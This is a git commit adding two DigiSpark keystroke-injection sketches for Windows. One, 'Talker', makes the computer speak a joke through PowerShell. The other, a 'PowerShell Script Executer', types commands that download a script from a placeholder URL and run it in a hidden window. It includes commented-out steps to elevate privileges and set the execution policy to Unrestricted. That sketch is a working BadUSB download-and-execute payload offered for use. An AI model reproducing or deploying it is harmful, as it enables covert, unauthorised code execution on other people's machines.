Added Talker and Powershell Script Executer

Talker :  Opens up powershell and speaks out a message
PowerShell Script Executer : Downloads and runs a powershell script
This commit is contained in:
CedArctic 2017-04-26 23:50:59 +03:00
parent dc2e3c85cd
commit c44c87cb96
2 changed files with 72 additions and 0 deletions

View File

@ -0,0 +1,36 @@
//This DigiSpark scripts downloads and executes a powershell script in hidden mode.
#include "DigiKeyboard.h"
void setup() {
}
void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("powershell");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("$client = new-object System.Net.WebClient");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("$client.DownloadFile(\"https://scriptURL\" , \"script.ps1\")");
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT | KEY_R);
DigiKeyboard.delay(750);
//If the system hasn't been configured to run scripts, uncomment the lines bellow
//DigiKeyboard.print("powershell Start-Process cmd -Verb runAs");
//DigiKeyboard.sendKeyStroke(KEY_ENTER);
//DigiKeyboard.delay(750);
//DigiKeyboard.sendKeyStroke(MOD_ALT_LEFT, KEY_Y);
//DigiKeyboard.delay(750);
//DigiKeyboard.print("powershell Set-ExecutionPolicy 'Unrestricted' -Scope CurrentUser -Confirm:$false");
//DigiKeyboard.sendKeyStroke(KEY_ENTER);
//DigiKeyboard.delay(750);
DigiKeyboard.print("powershell.exe -windowstyle hidden -File %USERPROFILE%\\script.ps1");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for (;;) {
/*empty*/
}
}

36
Talker/Talker.ino Normal file
View File

@ -0,0 +1,36 @@
//This DigiSpark script opens up the powershell and makes your computer speak out a message.
#include "DigiKeyboard.h"
void setup() {
}
void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(100);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(100);
DigiKeyboard.print("powershell");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(200);
DigiKeyboard.print("Add-Type -AssemblyName System.speech");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print("$speak = New-Object System.Speech.Synthesis.SpeechSynthesizer");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
//Uncomment these lines to use a female voice
//DigiKeyboard.print("$speak.SelectVoice('Microsoft Zira Desktop')");
//DigiKeyboard.sendKeyStroke(KEY_ENTER);
//DigiKeyboard.delay(500);
DigiKeyboard.print("$speak.Speak(\"Here's a joke. Why do Java programmers wear glasses? Because they can't C#.\")");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print("exit");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_ALT_LEFT);
DigiKeyboard.sendKeyStroke(KEY_N);
for (;;) {
/*empty*/
}
}